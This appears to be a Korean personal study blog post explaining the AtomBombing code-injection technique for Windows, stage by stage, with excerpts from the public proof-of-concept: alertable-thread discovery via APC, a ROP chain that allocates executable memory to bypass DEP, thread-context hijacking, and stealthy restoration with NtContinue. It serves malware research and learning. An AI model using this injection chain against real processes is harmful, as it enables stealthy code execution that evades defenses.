Overview
AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.
전체적인 동작은 아래 흐름도와 같다.
1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode 를 Atom Table 에 추가
|
2. 대상 프로세스가 Atom Table 로부터 ShellCode 를 가지고 오게 하도록 APC 를 사용
|
3. APC 를 통해 조작된 대상 프로세스는 ShellCode 를 가지고 온 뒤 DEP 후회를 위한 ROP Chain 사용 |
대상 프로세스에 개입하기 위해 주로 사용하는 API 는 아래와 같다.
NTSTAT NtQueueApcThread(
_In_ HANDLE ThreadHandle,
_In_ PIO_APC_ROUTINE ApcRoutine,
_In_ PVOID ApcRoutineContext OPTIONAL,
_In_ PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,
_In_ ULONG ApcReserved OPTIONAL
); |
DWORD WINAPI QueueUserAPC( _In_ PAPCFUNC pfnAPC, _In_ ULONG_PTR hThread, _In_ ULONG_PTR dwData );
|
해당 API 가 사용되는 예는 아래와 같다.
// NtQueueApcThread
eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);
ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)
{
...
ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);
...
}
|
// QueueUserApcThread
eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);
ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)
{
...
dwErr = QueueUserAPC(pfnAPC, hThread, dwData);
...
}
|
Stage #1
악성 프로세스는 대상 프로세스에서 공격 할 스레드를 탐색한다. 이 때 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다. Alertable 상태의 스레드는 아래와 같이 동작한다.
* APC Thread Queue 에 프로시저가 있는지 확인
|
* Queueing 된 프로시저가 있을 경우 해당 프로시저를 실행
|
* 프로시저를 완료 후 또 다시 Queueing 된 정보가 있는지 확인
|
* 위 과정을 반복
|
최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.
ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)
{
eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);
...
for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
{
HANDLE hThread = phProcessThreadsHandles[dwIndex];
eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);
if (ESTATUS_FAILED(eReturn))
continue;
}
...
DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);
...
hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];
//If the thread is in an alertable state, keep it that way "forever".
eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);
*phAlertableThread = hAlertableThread;
...
}
|
Stage #2
NtQueueApcThread 를 통해 대상 프로세스가 GlobalGetAtomName 을 호출했다고 가정하자. 하지만 이를 통해 가지고 온 Buffer 는 DEP 로 인해 실행 할 수 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 은 다음과 같은 구조체로 나타낼 수 있다.
typedef struct _ROPCHAIN
{
// Return address of ntdll!ZwAllocateMemory
PVOID pvMemcpy;
// Params for ntdll!ZwAllocateMemory
HANDLE ZwAllocateMemoryhProcess;
PVOID ZwAllocateMemoryBaseAddress;
ULONG_PTR ZwAllocateMemoryZeroBits;
PSIZE_T ZwAllocateMemoryRegionSize;
ULONG ZwAllocateMemoryAllocationType;
ULONG ZwAllocateMemoryProtect;
// Return address of ntdll!memcpy
PVOID pvRetGadget;
// Params for ntdll!memcpy
PVOID MemcpyDestination;
PVOID MemcpySource;
SIZE_T MemcpyLength;
} ROPCHAIN, *PROPCHAIN;
|
ROP Chain 구성은 아래와 같이 한다.
pvRemoteROPChainAddress = pvCodeCave;
pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);
pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);
pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;
eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);
ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)
{
ROPCHAIN tRopChain = { 0 };
tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();
tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);
tRopChain.ZwAllocateMemoryZeroBits = NULL;
tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));
tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;
tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;
tRopChain.MemcpyDestination = (PVOID)0x00;
tRopChain.MemcpySource = pvShellcodeLocation;
tRopChain.MemcpyLength = sizeof(SHELLCODE);
eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);
// Find a ret instruction in order to finally jump to the
// newly allocated executable shellcode.
eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);
*ptRopChain = tRopChain;
} |
구성 된 ROP Chain 의 예시는 아래와 같다.
[출처 - Reversenote]
ROP Chain 을 구성해주는 이유는 위에서 언급한 바와 같이 DEP 를 우회하기 위함이다. 우선 ZwAllocateVirtualMemory() 를 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 온 ShellCode 를 memcpy 를 사용하여 새로 할당한 메모리로 복사할 것이다.
ROP Chain 을 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll 의 Data 섹션 뒷 부분을 지정하고 있다.
ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)
{
PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
PVOID pvCodeCave = NULL;
HMODULE hNtDll = NULL;
hNtDll = GetModuleHandleA("kernelbase.dll");
eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);
pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);
*ppvCodeCave = pvCodeCave;
}
|
CoveCave 에 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 을 기록해준다.
Stage #3
이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 을 이용하여 새로운 메모리로 Shellcode 를 복사한 뒤 실행할 수 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP 와 ESP 를 지정해주는 것이다.
bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);
if (ESTATUS_FAILED(eReturn))
{
goto lblCleanup;
}
tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");
tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");
eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);
ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)
{
PKNORMAL_ROUTINE pfnSetThreadContext = NULL;
ESTATUS eReturn = ESTATUS_INVALID;
GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);
main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);
} |
참고
SetThreadContext 를 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 로 굳이 넘겨주는 이유는 공격이 끝난 후 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 를 확인하자.
|
참고
SetThreadContext(hThread, lpContext) 를 사용 할 때 NtQueueApcThread 를 사용한다. 이 경우 전달 할 수 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 를 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 수 없다. 따라서 이에 대해서는 신경쓰지 않는다.
|
대상 스레드의 EIP 를 ZwAllocateVirtualMemory 로 지정 후, Stack 을 ROP Chain 을 가리키도록 하면 아래와 같은 모습으로 나타낼 수 있다.
[출처 - Reversenote]
ZwAllocateVirtualMemory 를 호출한 뒤 Return 주소는 memcpy 가 될 것이다. 그리고 Stack 은 아래와 같이 "RETN 18" 로 인해 0x18 만큼 POP 된다.
위와 같이 진행된 후 EIP 는 memcpy 를, Stack 은 아래와 같이 나타내어진다. 여기서 memcpy 의 첫번째 인자는 ZwAllocateVirtualMemory 의 두 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.
[출처 - Reversenote]
Memcpy 를 진행 후 EIP 는 RET 가젯을 가리키고 있을 것이다. 결국 총 2번의 Return 이 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 된 곳으로 복사된 Shellcode 로 코드가 진행 될 것이다.
복사 된 Shellcode 가 실행 시 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.
pvRemoteROPChainAddress = pvCodeCave;
pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);
pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);
pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;
eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain); |
Stage #4
공격자가 원하는 코드가 진행된 후, 사용 된 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 수 있다. 강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 될 수 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 에 대해 알아야 한다.
정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 를 통해 Queueing 된 APC 함수를 실행한다. 그리고 APC 함수를 완료한 뒤 기존에 EDI 에 담긴 CONTEXT 로 NtContine 한다.
참고
여기서부터는 악성프로세스가 아닌 실행 될 Shellcode 에서 구현되어야 하는 부분이다.
|
하지만 NtQueueApcThread(...SetThreadContext…) 를 실행시키고자 하는 경우 위 그림의 CALL EAX 에서 Return 될 수는 없다. 하지만 만약 CALL EAX 를 하기 전, EDI 에 저장된 CONTEXT 내용을 보존할 수 있다면, 이야기는 달라진다.
공격자는 EDI 에 담긴 CONTEXT 를 저장하기 위해, Shellcode 의 도입부에 아래와 같은 명령어를 사용한다.
void shellcode_entry()
{
...
__asm{
mov[ptContext], edi;
}
...
}
|
하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 의 도입부까지 EDI 가 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 를 설정하는 것이다. CONTEXT_CONTROL flag 가 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 를 제외한 다른 값은 수정되지 않는다.
도입부에서 CONTEXT 를 저장한 뒤 원하는 동작을 수행한다. 그리고 동작을 끝낸 뒤, 이전에 저장한 CONTEXT 를 가지고 와서 NtContinue 를 호출해주면, 원래 저장된 CONTEXT 의 내용을 실행하게 될 것이다.
void shellcode_entry()
{
...
__asm{
mov[ptContext], edi;
}
...
pfnWinExec(pszCalcExe, 0);
pfnZwContinue(ptContext, 1);
} |
Reference
Github, BreakingMalwareResearch : Atom-bombing
* https://github.com/BreakingMalwareResearch/atom-bombing
Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"
* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/
Blog, Reversenote : "Atombombing - Stage 1 ~ 3"
* http://www.reversenote.info/atombombing-stage1/
MSDN, Windows API
Ntinternals, Undocumented : NTAPI
* https://undocumented.ntinternals.net/
Egloos, himskim : "APC 에 대하여" ; Alertable Thread 에 대해 쉽게 설명
'Reversing > Theory' 카테고리의 다른 글
Process Doppelganging (0) | 2018.02.13 |
---|---|
Dynamic Data Exchange (DDE) (0) | 2017.11.12 |
DoubleAgent 공격 (1) | 2017.03.28 |
암호학 기초 개념 (2) | 2016.11.23 |
Memory Detection(메모리 진단) (0) | 2016.09.26 |